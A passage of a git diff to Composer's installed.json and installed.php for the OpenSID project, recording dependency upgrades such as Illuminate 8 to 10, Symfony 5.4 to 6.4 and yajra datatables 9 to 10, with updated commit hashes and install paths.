+ "installation-source": "dist", + "autoload": { + "psr-4": { + "Webmozart\\Assert\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Bernhard Schussek", + "email": "bschussek@gmail.com" + } + ], + "description": "Assertions to validate method input/output with nice error messages.", + "keywords": [ + "assert", + "check", + "validate" + ], + "support": { + "issues": "https://github.com/webmozarts/assert/issues", + "source": "https://github.com/webmozarts/assert/tree/1.11.0" + }, + "install-path": "../webmozart/assert" + }, { "name": "yajra/laravel-datatables-oracle", - "version": "v9.21.2", - "version_normalized": "9.21.2.0", + "version": "v10.11.4", + "version_normalized": "10.11.4.0", "source": { "type": "git", "url": "https://github.com/yajra/laravel-datatables.git", - "reference": "a7fd01f06282923e9c63fa27fe6b391e21dc321a" + "reference": "a11dc9cf5ec7f7dc68ad0d5959c5e7aec0af29a5" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/yajra/laravel-datatables/zipball/a7fd01f06282923e9c63fa27fe6b391e21dc321a", - "reference": "a7fd01f06282923e9c63fa27fe6b391e21dc321a", + "url": "https://api.github.com/repos/yajra/laravel-datatables/zipball/a11dc9cf5ec7f7dc68ad0d5959c5e7aec0af29a5", + "reference": "a11dc9cf5ec7f7dc68ad0d5959c5e7aec0af29a5", "shasum": "" }, "require": { - "illuminate/database": "5.8.*|^6|^7|^8|^9", - "illuminate/filesystem": "5.8.*|^6|^7|^8|^9", - "illuminate/http": "5.8.*|^6|^7|^8|^9", - "illuminate/support": "5.8.*|^6|^7|^8|^9", - "illuminate/view": "5.8.*|^6|^7|^8|^9", - "php": "^7.1.3|^8" + "illuminate/database": "^9|^10", + "illuminate/filesystem": "^9|^10", + "illuminate/http": "^9|^10", + "illuminate/support": "^9|^10", + "illuminate/view": "^9|^10", + "php": "^8.0.2" }, "require-dev": { - "orchestra/testbench": "^3.8|^4.0|^5.0|^6.0|^7.0" + "algolia/algoliasearch-client-php": "^3.4", + "larastan/larastan": "^2.4", + "laravel/scout": "^10.5", + "meilisearch/meilisearch-php": "^1.4", + "orchestra/testbench": "^8", + "yajra/laravel-datatables-html": "^9.3.4|^10" }, "suggest": { "yajra/laravel-datatables-buttons": "Plugin for server-side exporting of dataTables.", "yajra/laravel-datatables-editor": "Plugin to use DataTables Editor (requires a license).", + "yajra/laravel-datatables-export": "Plugin for server-side exporting using livewire and queue worker.", "yajra/laravel-datatables-fractal": "Plugin for server-side response using Fractal.", "yajra/laravel-datatables-html": "Plugin for server-side HTML builder of dataTables." }, - "time": "2022-07-12T04:48:03+00:00", + "time": "2024-02-28T05:00:23+00:00", "type": "library", "extra": { "branch-alias": { - "dev-master": "9.0-dev" + "dev-master": "10.x-dev" }, "laravel": { "providers": [ @@ -7043,7 +7925,7 @@ "email": "aqangeles@gmail.com" } ], - "description": "jQuery DataTables API for Laravel 5|6|7|8|9", + "description": "jQuery DataTables API for Laravel 4|5|6|7|8|9|10", "keywords": [ "datatables", "jquery", @@ -7051,16 +7933,12 @@ ], "support": { "issues": "https://github.com/yajra/laravel-datatables/issues", - "source": "https://github.com/yajra/laravel-datatables/tree/v9.21.2" + "source": "https://github.com/yajra/laravel-datatables/tree/v10.11.4" }, "funding": [ { - "url": "https://www.paypal.me/yajra", - "type": "custom" - }, - { - "url": "https://www.patreon.com/yajra", - "type": "patreon" + "url": "https://github.com/sponsors/yajra", + "type": "github" } ], "install-path": "../yajra/laravel-datatables-oracle" diff --git a/vendor/composer/installed.php b/vendor/composer/installed.php index 291a8b47f..4d2ddcaa6 100644 --- a/vendor/composer/installed.php +++ b/vendor/composer/installed.php @@ -3,7 +3,7 @@ 'name' => 'opendesa/opensid', 'pretty_version' => '2405.0.3.x-dev', 'version' => '2405.0.3.9999999-dev', - 'reference' => '1367c01a8db64535c3de88656e72dfe7ffa9e767', + 'reference' => '68bb01992fbfc47dbde3f71124eeafb959275e12', 'type' => 'project', 'install_path' => __DIR__ . '/../../', 'aliases' => array(), @@ -11,9 +11,9 @@ ), 'versions' => array( 'brick/math' => array( - 'pretty_version' => '0.9.3', - 'version' => '0.9.3.0', - 'reference' => 'ca57d18f028f84f777b2168cd1911b0dee2343ae', + 'pretty_version' => '0.12.1', + 'version' => '0.12.1.0', + 'reference' => 'f510c0a40911935b77b86859eb5223d58d660df1', 'type' => 'library', 'install_path' => __DIR__ . '/../brick/math', 'aliases' => array(), @@ -29,9 +29,9 @@ 'dev_requirement' => false, ), 'cocur/slugify' => array( - 'pretty_version' => 'v4.5.0', - 'version' => '4.5.0.0', - 'reference' => 'af8e6ee771458bf885f7457807b5ff9bad8743cb', + 'pretty_version' => 'v4.5.1', + 'version' => '4.5.1.0', + 'reference' => '7c6e088228b9f082050876ae8b0cd287b117b840', 'type' => 'library', 'install_path' => __DIR__ . '/../cocur/slugify', 'aliases' => array(), @@ -47,14 +47,50 @@ 'dev_requirement' => false, ), 'cviebrock/eloquent-sluggable' => array( - 'pretty_version' => '8.0.8', - 'version' => '8.0.8.0', - 'reference' => '16e21db24d80180f870c3c7c4faf3d3af23f4117', + 'pretty_version' => '10.0.0', + 'version' => '10.0.0.0', + 'reference' => '92f456b10337ca97c1cccfcc853a1cf51d2cedd0', 'type' => 'library', 'install_path' => __DIR__ . '/../cviebrock/eloquent-sluggable', 'aliases' => array(), 'dev_requirement' => false, ), + 'doctrine/cache' => array( + 'pretty_version' => '2.2.0', + 'version' => '2.2.0.0', + 'reference' => '1ca8f21980e770095a31456042471a57bc4c68fb', + 'type' => 'library', + 'install_path' => __DIR__ . '/../doctrine/cache', + 'aliases' => array(), + 'dev_requirement' => false, + ), + 'doctrine/dbal' => array( + 'pretty_version' => '3.7.0', + 'version' => '3.7.0.0', + 'reference' => '00d03067f07482f025d41ab55e4ba0db5eca2cdf', + 'type' => 'library', + 'install_path' => __DIR__ . '/../doctrine/dbal', + 'aliases' => array(), + 'dev_requirement' => false, + ), + 'doctrine/deprecations' => array( + 'pretty_version' => '1.1.3', + 'version' => '1.1.3.0', + 'reference' => 'dfbaa3c2d2e9a9df1118213f3b8b0c597bb99fab', + 'type' => 'library', + 'install_path' => __DIR__ . '/../doctrine/deprecations', + 'aliases' => array(), + 'dev_requirement' => false, + ), + 'doctrine/event-manager' => array( + 'pretty_version' => '2.0.1', + 'version' => '2.0.1.0', + 'reference' => 'b680156fa328f1dfd874fd48c7026c41570b9c6e', + 'type' => 'library', + 'install_path' => __DIR__ . '/../doctrine/event-manager', + 'aliases' => array(), + 'dev_requirement' => false, + ), 'doctrine/inflector' => array( 'pretty_version' => '2.0.10', 'version' => '2.0.10.0', @@ -64,6 +100,15 @@ 'aliases' => array(), 'dev_requirement' => false, ), + 'dragonmantank/cron-expression' => array( + 'pretty_version' => 'v3.3.3', + 'version' => '3.3.3.0', + 'reference' => 'adfb1f505deb6384dc8b39804c5065dd3c8c8c0a', + 'type' => 'library', + 'install_path' => __DIR__ . '/../dragonmantank/cron-expression', + 'aliases' => array(), + 'dev_requirement' => false, + ), 'edwinhoksberg/php-fcm' => array( 'pretty_version' => 'v1.2.0', 'version' => '1.2.0.0', @@ -83,14 +128,23 @@ 'dev_requirement' => false, ), 'firebase/php-jwt' => array( - 'pretty_version' => 'v6.10.0', - 'version' => '6.10.0.0', - 'reference' => 'a49db6f0a5033aef5143295342f1c95521b075ff', + 'pretty_version' => 'v6.10.1', + 'version' => '6.10.1.0', + 'reference' => '500501c2ce893c824c801da135d02661199f60c5', 'type' => 'library', 'install_path' => __DIR__ . '/../firebase/php-jwt', 'aliases' => array(), 'dev_requirement' => false, ), + 'fruitcake/php-cors' => array( + 'pretty_version' => 'v1.3.0', + 'version' => '1.3.0.0', + 'reference' => '3d158f36e7875e2f040f37bc0573956240a5a38b', + 'type' => 'library', + 'install_path' => __DIR__ . '/../fruitcake/php-cors', + 'aliases' => array(), + 'dev_requirement' => false, + ), 'google/apiclient' => array( 'pretty_version' => 'v2.16.0', 'version' => '2.16.0.0', @@ -101,18 +155,18 @@ 'dev_requirement' => false, ), 'google/apiclient-services' => array( - 'pretty_version' => 'v0.355.0', - 'version' => '0.355.0.0', - 'reference' => '235e6a45ecafd77accc102b5ab6d529aab54da23', + 'pretty_version' => 'v0.359.0', + 'version' => '0.359.0.0', + 'reference' => 'e975e6d0efa47f7e49280c4ea7fd6a93b6d7e338', 'type' => 'library', 'install_path' => __DIR__ . '/../google/apiclient-services', 'aliases' => array(), 'dev_requirement' => false, ), 'google/auth' => array( - 'pretty_version' => 'v1.37.1', - 'version' => '1.37.1.0', - 'reference' => '1a7de77b72e6ac60dccf0e6478c4c1005bb0ff46', + 'pretty_version' => 'v1.40.0', + 'version' => '1.40.0.0', + 'reference' => 'bff9f2d01677e71a98394b5ac981b99523df5178', 'type' => 'library', 'install_path' => __DIR__ . '/../google/auth', 'aliases' => array(), @@ -145,181 +199,208 @@ 'aliases' => array(), 'dev_requirement' => false, ), + 'guzzlehttp/uri-template' => array( + 'pretty_version' => 'v1.0.3', + 'version' => '1.0.3.0', + 'reference' => 'ecea8feef63bd4fef1f037ecb288386999ecc11c', + 'type' => 'library', + 'install_path' => __DIR__ . '/../guzzlehttp/uri-template', + 'aliases' => array(), + 'dev_requirement' => false, + ), 'illuminate/bus' => array( - 'pretty_version' => 'v8.83.27', - 'version' => '8.83.27.0', - 'reference' => 'd2a8ae4bfd881086e55455e470776358eab27eae', + 'pretty_version' => 'v10.48.12', + 'version' => '10.48.12.0', + 'reference' => '252e200dacaeb168675cbf1aa26dbead57492a6c', 'type' => 'library', 'install_path' => __DIR__ . '/../illuminate/bus', 'aliases' => array(), 'dev_requirement' => false, ), 'illuminate/cache' => array( - 'pretty_version' => 'v8.83.27', - 'version' => '8.83.27.0', - 'reference' => '7ae5b3661413dad7264b5c69037190d766bae50f', + 'pretty_version' => 'v10.48.12', + 'version' => '10.48.12.0', + 'reference' => '6020bc5f40b62cc680be3eb57e980e5cb26884ff', 'type' => 'library', 'install_path' => __DIR__ . '/../illuminate/cache', 'aliases' => array(), 'dev_requirement' => false, ), 'illuminate/collections' => array( - 'pretty_version' => 'v8.83.27', - 'version' => '8.83.27.0', - 'reference' => '705a4e1ef93cd492c45b9b3e7911cccc990a07f4', + 'pretty_version' => 'v10.48.12', + 'version' => '10.48.12.0', + 'reference' => 'f9589f1063a449111dcaa1d68285b507d9483a95', 'type' => 'library', 'install_path' => __DIR__ . '/../illuminate/collections', 'aliases' => array(), 'dev_requirement' => false, ), + 'illuminate/conditionable' => array( + 'pretty_version' => 'v10.48.12', + 'version' => '10.48.12.0', + 'reference' => 'd0958e4741fc9d6f516a552060fd1b829a85e009', + 'type' => 'library', + 'install_path' => __DIR__ . '/../illuminate/conditionable', + 'aliases' => array(), + 'dev_requirement' => false, + ), 'illuminate/config' => array( - 'pretty_version' => 'v8.83.27', - 'version' => '8.83.27.0', - 'reference' => 'feac56ab7a5c70cf2dc60dffe4323eb9851f51a8', + 'pretty_version' => 'v10.48.12', + 'version' => '10.48.12.0', + 'reference' => 'd5e83ceff5c4d5607b1b81763eb4c436911c35da', 'type' => 'library', 'install_path' => __DIR__ . '/../illuminate/config', 'aliases' => array(), 'dev_requirement' => false, ), 'illuminate/console' => array( - 'pretty_version' => 'v8.83.27', - 'version' => '8.83.27.0', - 'reference' => '4aaa93223eb3bd8119157c95f58c022967826035', + 'pretty_version' => 'v10.48.12', + 'version' => '10.48.12.0', + 'reference' => 'd001036218ea5fbb382ee5c845292b067ea8b46f', 'type' => 'library', 'install_path' => __DIR__ . '/../illuminate/console', 'aliases' => array(), 'dev_requirement' => false, ), 'illuminate/container' => array( - 'pretty_version' => 'v8.83.27', - 'version' => '8.83.27.0', - 'reference' => '14062628d05f75047c5a1360b9350028427d568e', + 'pretty_version' => 'v10.48.12', + 'version' => '10.48.12.0', + 'reference' => 'ddc26273085fad3c471b2602ad820e0097ff7939', 'type' => 'library', 'install_path' => __DIR__ . '/../illuminate/container', 'aliases' => array(), 'dev_requirement' => false, ), 'illuminate/contracts' => array( - 'pretty_version' => 'v8.83.27', - 'version' => '8.83.27.0', - 'reference' => '5e0fd287a1b22a6b346a9f7cd484d8cf0234585d', + 'pretty_version' => 'v10.48.12', + 'version' => '10.48.12.0', + 'reference' => '8d7152c4a1f5d9cf7da3e8b71f23e4556f6138ac', 'type' => 'library', 'install_path' => __DIR__ . '/../illuminate/contracts', 'aliases' => array(), 'dev_requirement' => false, ), 'illuminate/database' => array( - 'pretty_version' => 'v8.83.27', - 'version' => '8.83.27.0', - 'reference' => '1a5b0e4e6913415464fa2aab554a38b9e6fa44b1', + 'pretty_version' => 'v10.48.12', + 'version' => '10.48.12.0', + 'reference' => 'c57f5c8d3e55d9c952a2ad5f432bcb1dc2d3322c', 'type' => 'library', 'install_path' => __DIR__ . '/../illuminate/database', 'aliases' => array(), 'dev_requirement' => false, ), 'illuminate/encryption' => array( - 'pretty_version' => 'v8.83.27', - 'version' => '8.83.27.0', - 'reference' => '00280dc6aa204b1b6c6d4bf75936d122bd856c15', + 'pretty_version' => 'v10.48.12', + 'version' => '10.48.12.0', + 'reference' => '0ab9942a891f82f927d03abb9a7320b89262f2a2', 'type' => 'library', 'install_path' => __DIR__ . '/../illuminate/encryption', 'aliases' => array(), 'dev_requirement' => false, ), 'illuminate/events' => array( - 'pretty_version' => 'v8.83.27', - 'version' => '8.83.27.0', - 'reference' => 'b7f06cafb6c09581617f2ca05d69e9b159e5a35d', + 'pretty_version' => 'v10.48.12', + 'version' => '10.48.12.0', + 'reference' => 'a931bfa88edc6ac52c9abbfd7b769343d321d3eb', 'type' => 'library', 'install_path' => __DIR__ . '/../illuminate/events', 'aliases' => array(), 'dev_requirement' => false, ), 'illuminate/filesystem' => array( - 'pretty_version' => 'v8.83.27', - 'version' => '8.83.27.0', - 'reference' => '73db3e9a233ed587ba54f52ab8580f3c7bc872b2', + 'pretty_version' => 'v10.48.12', + 'version' => '10.48.12.0', + 'reference' => '592fb581a52fba43bf78c2e4b22db540c9f9f149', 'type' => 'library', 'install_path' => __DIR__ . '/../illuminate/filesystem', 'aliases' => array(), 'dev_requirement' => false, ), 'illuminate/hashing' => array( - 'pretty_version' => 'v8.83.27', - 'version' => '8.83.27.0', - 'reference' => '2617f4de8d0150a3f8641b086fafac8c1e0cdbf2', + 'pretty_version' => 'v10.48.12', + 'version' => '10.48.12.0', + 'reference' => '7ab4eae83a55aaef1c2ba5c06ea5bfd46bee1286', 'type' => 'library', 'install_path' => __DIR__ . '/../illuminate/hashing', 'aliases' => array(), 'dev_requirement' => false, ), 'illuminate/http' => array( - 'pretty_version' => 'v8.83.27', - 'version' => '8.83.27.0', - 'reference' => '38b8b0c8ca5d5231df9c515f3a3e7aac5f0da9f4', + 'pretty_version' => 'v10.48.12', + 'version' => '10.48.12.0', + 'reference' => '0dd2ee794017c7f5e811cf8fb0dc74c646918d30', 'type' => 'library', 'install_path' => __DIR__ . '/../illuminate/http', 'aliases' => array(), 'dev_requirement' => false, ), + 'illuminate/log' => array( + 'pretty_version' => 'v10.48.12', + 'version' => '10.48.12.0', + 'reference' => '64bd048e4a793e4bfe2793be152c662f1c08634c', + 'type' => 'library', + 'install_path' => __DIR__ . '/../illuminate/log', + 'aliases' => array(), + 'dev_requirement' => false, + ), 'illuminate/macroable' => array( - 'pretty_version' => 'v8.83.27', - 'version' => '8.83.27.0', - 'reference' => 'aed81891a6e046fdee72edd497f822190f61c162', + 'pretty_version' => 'v10.48.12', + 'version' => '10.48.12.0', + 'reference' => 'dff667a46ac37b634dcf68909d9d41e94dc97c27', 'type' => 'library', 'install_path' => __DIR__ . '/../illuminate/macroable', 'aliases' => array(), 'dev_requirement' => false, ), 'illuminate/pagination' => array( - 'pretty_version' => 'v8.83.27', - 'version' => '8.83.27.0', - 'reference' => '16fe8dc35f9d18c58a3471469af656a02e9ab692', + 'pretty_version' => 'v10.48.12', + 'version' => '10.48.12.0', + 'reference' => '616874b9607ff35925347e1710a8b5151858cdf2', 'type' => 'library', 'install_path' => __DIR__ . '/../illuminate/pagination', 'aliases' => array(), 'dev_requirement' => false, ), 'illuminate/pipeline' => array( - 'pretty_version' => 'v8.83.27', - 'version' => '8.83.27.0', - 'reference' => '23aeff5b26ae4aee3f370835c76bd0f4e93f71d2', + 'pretty_version' => 'v10.48.12', + 'version' => '10.48.12.0', + 'reference' => 'f802187e917a171332cc90f8c1a102939c57405d', 'type' => 'library', 'install_path' => __DIR__ . '/../illuminate/pipeline', 'aliases' => array(), 'dev_requirement' => false, ), 'illuminate/queue' => array( - 'pretty_version' => 'v8.83.27', - 'version' => '8.83.27.0', - 'reference' => '0023daabf67743f7a2bd8328ca2b5537d93e4ae7', + 'pretty_version' => 'v10.48.12', + 'version' => '10.48.12.0', + 'reference' => 'ee2446c88027cbe2a4d9f286ef66589fdf9f61ed', 'type' => 'library', 'install_path' => __DIR__ . '/../illuminate/queue', 'aliases' => array(), 'dev_requirement' => false, ), 'illuminate/session' => array( - 'pretty_version' => 'v8.83.27', - 'version' => '8.83.27.0', - 'reference' => '9c9988d7229d888c098eebbbb9fcb8c68580411c', + 'pretty_version' => 'v10.48.12', + 'version' => '10.48.12.0', + 'reference' => 'a095707b83327e27ba292c9c4d2413888b1f517c', 'type' => 'library', 'install_path' => __DIR__ . '/../illuminate/session', 'aliases' => array(), 'dev_requirement' => false, ), 'illuminate/support' => array( - 'pretty_version' => 'v8.83.27', - 'version' => '8.83.27.0', - 'reference' => '1c79242468d3bbd9a0f7477df34f9647dde2a09b', + 'pretty_version' => 'v10.48.12', + 'version' => '10.48.12.0', + 'reference' => '263f389d81488c237846b69469f91387ca2729f3', 'type' => 'library', 'install_path' => __DIR__ . '/../illuminate/support', 'aliases' => array(), 'dev_requirement' => false, ), 'illuminate/view' => array( - 'pretty_version' => 'v8.83.27', - 'version' => '8.83.27.0', - 'reference' => '5e73eef48d9242532f81fadc14c816a01bfb1388', + 'pretty_version' => 'v10.48.12', + 'version' => '10.48.12.0', + 'reference' => '76a1405bc3e1d0a19e8d2db3bd5b991ed10b31f7', 'type' => 'library', 'install_path' => __DIR__ . '/../illuminate/view', 'aliases' => array(), @@ -343,6 +424,15 @@ 'aliases' => array(), 'dev_requirement' => false, ), + 'laravel/prompts' => array( + 'pretty_version' => 'v0.1.23', + 'version' => '0.1.23.0', + 'reference' => '9bc4df7c699b0452c6b815e64a2d84b6d7f99400', + 'type' => 'library', + 'install_path' => __DIR__ . '/../laravel/prompts', + 'aliases' => array(), + 'dev_requirement' => false, + ), 'laravel/serializable-closure' => array( 'pretty_version' => 'v1.3.3', 'version' => '1.3.3.0', @@ -353,14 +443,23 @@ 'dev_requirement' => false, ), 'league/flysystem' => array( - 'pretty_version' => '1.1.10', - 'version' => '1.1.10.0', - 'reference' => '3239285c825c152bcc315fe0e87d6b55f5972ed1', + 'pretty_version' => '3.28.0', + 'version' => '3.28.0.0', + 'reference' => 'e611adab2b1ae2e3072fa72d62c62f52c2bf1f0c', 'type' => 'library', 'install_path' => __DIR__ . '/../league/flysystem', 'aliases' => array(), 'dev_requirement' => false, ), + 'league/flysystem-local' => array( + 'pretty_version' => '3.28.0', + 'version' => '3.28.0.0', + 'reference' => '13f22ea8be526ea58c2ddff9e158ef7c296e4f40', + 'type' => 'library', + 'install_path' => __DIR__ . '/../league/flysystem-local', + 'aliases' => array(), + 'dev_requirement' => false, + ), 'league/mime-type-detection' => array( 'pretty_version' => '1.15.0', 'version' => '1.15.0.0', @@ -389,27 +488,42 @@ 'dev_requirement' => false, ), 'monolog/monolog' => array( - 'pretty_version' => '2.9.3', - 'version' => '2.9.3.0', - 'reference' => 'a30bfe2e142720dfa990d0a7e573997f5d884215', + 'pretty_version' => '3.6.0', + 'version' => '3.6.0.0', + 'reference' => '4b18b21a5527a3d5ffdac2fd35d3ab25a9597654', 'type' => 'library', 'install_path' => __DIR__ . '/../monolog/monolog', 'aliases' => array(), 'dev_requirement' => false, ), + 'mtdowling/cron-expression' => array( + 'dev_requirement' => false, + 'replaced' => array( + 0 => '^1.0', + ), + ), 'nesbot/carbon' => array( - 'pretty_version' => '2.72.3', - 'version' => '2.72.3.0', - 'reference' => '0c6fd108360c562f6e4fd1dedb8233b423e91c83', + 'pretty_version' => '2.72.5', + 'version' => '2.72.5.0', + 'reference' => 'afd46589c216118ecd48ff2b95d77596af1e57ed', 'type' => 'library', 'install_path' => __DIR__ . '/../nesbot/carbon', 'aliases' => array(), 'dev_requirement' => false, ), + 'nunomaduro/termwind' => array( + 'pretty_version' => 'v1.15.1', + 'version' => '1.15.1.0', + 'reference' => '8ab0b32c8caa4a2e09700ea32925441385e4a5dc', + 'type' => 'library', + 'install_path' => __DIR__ . '/../nunomaduro/termwind', + 'aliases' => array(), + 'dev_requirement' => false, + ), 'opendesa/opensid' => array( 'pretty_version' => '2405.0.3.x-dev', 'version' => '2405.0.3.9999999-dev', - 'reference' => '1367c01a8db64535c3de88656e72dfe7ffa9e767', + 'reference' => '68bb01992fbfc47dbde3f71124eeafb959275e12', 'type' => 'project', 'install_path' => __DIR__ . '/../../', 'aliases' => array(), @@ -427,23 +541,14 @@ 'dev_requirement' => false, ), 'openspout/openspout' => array( - 'pretty_version' => 'v3.7.4', - 'version' => '3.7.4.0', - 'reference' => 'dfbbd53b5edcd486b45a37f6a04fac33073c70f3', + 'pretty_version' => 'v4.24.1', + 'version' => '4.24.1.0', + 'reference' => '003991abc5cfee93423254774c71766d38cbe340', 'type' => 'library', 'install_path' => __DIR__ . '/../openspout/openspout', 'aliases' => array(), 'dev_requirement' => false, ), - 'opis/closure' => array( - 'pretty_version' => '3.6.3', - 'version' => '3.6.3.0', - 'reference' => '3d81e4309d2a927abbe66df935f4bb60082805ad', - 'type' => 'library', - 'install_path' => __DIR__ . '/../opis/closure', - 'aliases' => array(), - 'dev_requirement' => false, - ), 'paragonie/constant_time_encoding' => array( 'pretty_version' => 'v2.7.0', 'version' => '2.7.0.0', @@ -472,9 +577,9 @@ 'dev_requirement' => false, ), 'psr/cache' => array( - 'pretty_version' => '1.0.1', - 'version' => '1.0.1.0', - 'reference' => 'd11b50ad223250cf17b86e38383413f5a6764bf8', + 'pretty_version' => '3.0.0', + 'version' => '3.0.0.0', + 'reference' => 'aa5030cfa5405eccfdcb1083ce040c2cb8d253bf', 'type' => 'library', 'install_path' => __DIR__ . '/../psr/cache', 'aliases' => array(), @@ -496,9 +601,9 @@ ), ), 'psr/container' => array( - 'pretty_version' => '1.1.2', - 'version' => '1.1.2.0', - 'reference' => '513e0666f7216c7459170d56df27dfcefe1689ea', + 'pretty_version' => '2.0.2', + 'version' => '2.0.2.0', + 'reference' => 'c71ecc56dfe541dbd90c5360474fbc405f8d5963', 'type' => 'library', 'install_path' => __DIR__ . '/../psr/container', 'aliases' => array(), @@ -507,7 +612,7 @@ 'psr/container-implementation' => array( 'dev_requirement' => false, 'provided' => array( - 0 => '1.0', + 0 => '1.1|2.0', ), ), 'psr/event-dispatcher' => array( @@ -571,9 +676,9 @@ ), ), 'psr/log' => array( - 'pretty_version' => '1.1.4', - 'version' => '1.1.4.0', - 'reference' => 'd49695b909c3b7628b6289db5479a1c204601f11', + 'pretty_version' => '3.0.0', + 'version' => '3.0.0.0', + 'reference' => 'fe5ea303b0887d5caefd3d431c3e61ad47037001', 'type' => 'library', 'install_path' => __DIR__ . '/../psr/log', 'aliases' => array(), @@ -582,14 +687,14 @@ 'psr/log-implementation' => array( 'dev_requirement' => false, 'provided' => array( - 0 => '1.0.0 || 2.0.0 || 3.0.0', - 1 => '1.0|2.0', + 0 => '3.0.0', + 1 => '1.0|2.0|3.0', ), ), 'psr/simple-cache' => array( - 'pretty_version' => '1.0.1', - 'version' => '1.0.1.0', - 'reference' => '408d5eafb83c57f6365a3ca330ff23aa4a5fa39b', + 'pretty_version' => '3.0.0', + 'version' => '3.0.0.0', + 'reference' => '764e0b3939f5ca87cb904f570ef9be2d78a07865', 'type' => 'library', 'install_path' => __DIR__ . '/../psr/simple-cache', 'aliases' => array(), @@ -598,7 +703,7 @@ 'psr/simple-cache-implementation' => array( 'dev_requirement' => false, 'provided' => array( - 0 => '1.0', + 0 => '1.0|2.0|3.0', ), ), 'ralouphie/getallheaders' => array( @@ -611,36 +716,36 @@ 'dev_requirement' => false, ), 'ramsey/collection' => array( - 'pretty_version' => '1.3.0', - 'version' => '1.3.0.0', - 'reference' => 'ad7475d1c9e70b190ecffc58f2d989416af339b4', + 'pretty_version' => '2.0.0', + 'version' => '2.0.0.0', + 'reference' => 'a4b48764bfbb8f3a6a4d1aeb1a35bb5e9ecac4a5', 'type' => 'library', 'install_path' => __DIR__ . '/../ramsey/collection', 'aliases' => array(), 'dev_requirement' => false, ), 'ramsey/uuid' => array( - 'pretty_version' => '4.2.3', - 'version' => '4.2.3.0', - 'reference' => 'fc9bb7fb5388691fd7373cd44dcb4d63bbcf24df', + 'pretty_version' => '4.7.6', + 'version' => '4.7.6.0', + 'reference' => '91039bc1faa45ba123c4328958e620d382ec7088', 'type' => 'library', 'install_path' => __DIR__ . '/../ramsey/uuid', 'aliases' => array(), 'dev_requirement' => false, ), 'rap2hpoutre/fast-excel' => array( - 'pretty_version' => 'v4.1.0', - 'version' => '4.1.0.0', - 'reference' => '724557e844170a231fd4515bbc3ea435ca622e7d', + 'pretty_version' => 'v5.5.0', + 'version' => '5.5.0.0', + 'reference' => '83604f2a16fbb0374747299173abe691b24916da', 'type' => 'library', 'install_path' => __DIR__ . '/../rap2hpoutre/fast-excel', 'aliases' => array(), 'dev_requirement' => false, ), 'rennokki/laravel-eloquent-query-cache' => array( - 'pretty_version' => '3.3.0', - 'version' => '3.3.0.0', - 'reference' => '00e73a7050bedca315c71bf433d0c283f8a73fbc', + 'pretty_version' => '3.4.0', + 'version' => '3.4.0.0', + 'reference' => 'abd7235617206dbf82af8e3177616d7bfb5fed84', 'type' => 'library', 'install_path' => __DIR__ . '/../rennokki/laravel-eloquent-query-cache', 'aliases' => array(), @@ -649,7 +754,7 @@ 'rhumsaa/uuid' => array( 'dev_requirement' => false, 'replaced' => array( - 0 => '4.2.3', + 0 => '4.7.6', ), ), 'slowprog/composer-copy-file' => array( @@ -662,14 +767,23 @@ 'dev_requirement' => false, ), 'spatie/eloquent-sortable' => array( - 'pretty_version' => '3.11.0', - 'version' => '3.11.0.0', - 'reference' => 'b06fa886559f8d40e31c8a69fd32bd45401dc5da', + 'pretty_version' => '4.4.0', + 'version' => '4.4.0.0', + 'reference' => '7a460c775d29741f42744bac52f993cb5b84be0f', 'type' => 'library', 'install_path' => __DIR__ . '/../spatie/eloquent-sortable', 'aliases' => array(), 'dev_requirement' => false, ), + 'spatie/laravel-package-tools' => array( + 'pretty_version' => '1.16.4', + 'version' => '1.16.4.0', + 'reference' => 'ddf678e78d7f8b17e5cdd99c0c3413a4a6592e53', + 'type' => 'library', + 'install_path' => __DIR__ . '/../spatie/laravel-package-tools', + 'aliases' => array(), + 'dev_requirement' => false, + ), 'spipu/html2pdf' => array( 'pretty_version' => 'v5.2.8', 'version' => '5.2.8.0', @@ -680,45 +794,45 @@ 'dev_requirement' => false, ), 'symfony/console' => array( - 'pretty_version' => 'v5.4.39', - 'version' => '5.4.39.0', - 'reference' => 'f3e591c48688a0cfa1a3296205926c05e84b22b1', + 'pretty_version' => 'v6.4.8', + 'version' => '6.4.8.0', + 'reference' => 'be5854cee0e8c7b110f00d695d11debdfa1a2a91', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/console', 'aliases' => array(), 'dev_requirement' => false, ), 'symfony/deprecation-contracts' => array( - 'pretty_version' => 'v2.5.3', - 'version' => '2.5.3.0', - 'reference' => '80d075412b557d41002320b96a096ca65aa2c98d', + 'pretty_version' => 'v3.5.0', + 'version' => '3.5.0.0', + 'reference' => '0e0d29ce1f20deffb4ab1b016a7257c4f1e789a1', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/deprecation-contracts', 'aliases' => array(), 'dev_requirement' => false, ), 'symfony/error-handler' => array( - 'pretty_version' => 'v5.4.39', - 'version' => '5.4.39.0', - 'reference' => '9e02a6e831d6c2dbc5f96c8ff5314d453ecd53cd', + 'pretty_version' => 'v6.4.8', + 'version' => '6.4.8.0', + 'reference' => 'ef836152bf13472dc5fb5b08b0c0c4cfeddc0fcc', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/error-handler', 'aliases' => array(), 'dev_requirement' => false, ), 'symfony/event-dispatcher' => array( - 'pretty_version' => 'v5.4.39', - 'version' => '5.4.39.0', - 'reference' => 'd40fae9fd85c762b6ba378152fdd1157a85d7e4f', + 'pretty_version' => 'v6.4.8', + 'version' => '6.4.8.0', + 'reference' => '8d7507f02b06e06815e56bb39aa0128e3806208b', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/event-dispatcher', 'aliases' => array(), 'dev_requirement' => false, ), 'symfony/event-dispatcher-contracts' => array( - 'pretty_version' => 'v2.5.3', - 'version' => '2.5.3.0', - 'reference' => '540f4c73e87fd0c71ca44a6aa305d024ac68cb73', + 'pretty_version' => 'v3.5.0', + 'version' => '3.5.0.0', + 'reference' => '8f93aec25d41b72493c6ddff14e916177c9efc50', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/event-dispatcher-contracts', 'aliases' => array(), @@ -727,40 +841,40 @@ 'symfony/event-dispatcher-implementation' => array( 'dev_requirement' => false, 'provided' => array( - 0 => '2.0', + 0 => '2.0|3.0', ), ), 'symfony/finder' => array( - 'pretty_version' => 'v5.4.39', - 'version' => '5.4.39.0', - 'reference' => 'f6a96e4fcd468a25fede16ee665f50ced856bd0a', + 'pretty_version' => 'v6.4.8', + 'version' => '6.4.8.0', + 'reference' => '3ef977a43883215d560a2cecb82ec8e62131471c', 'type' => 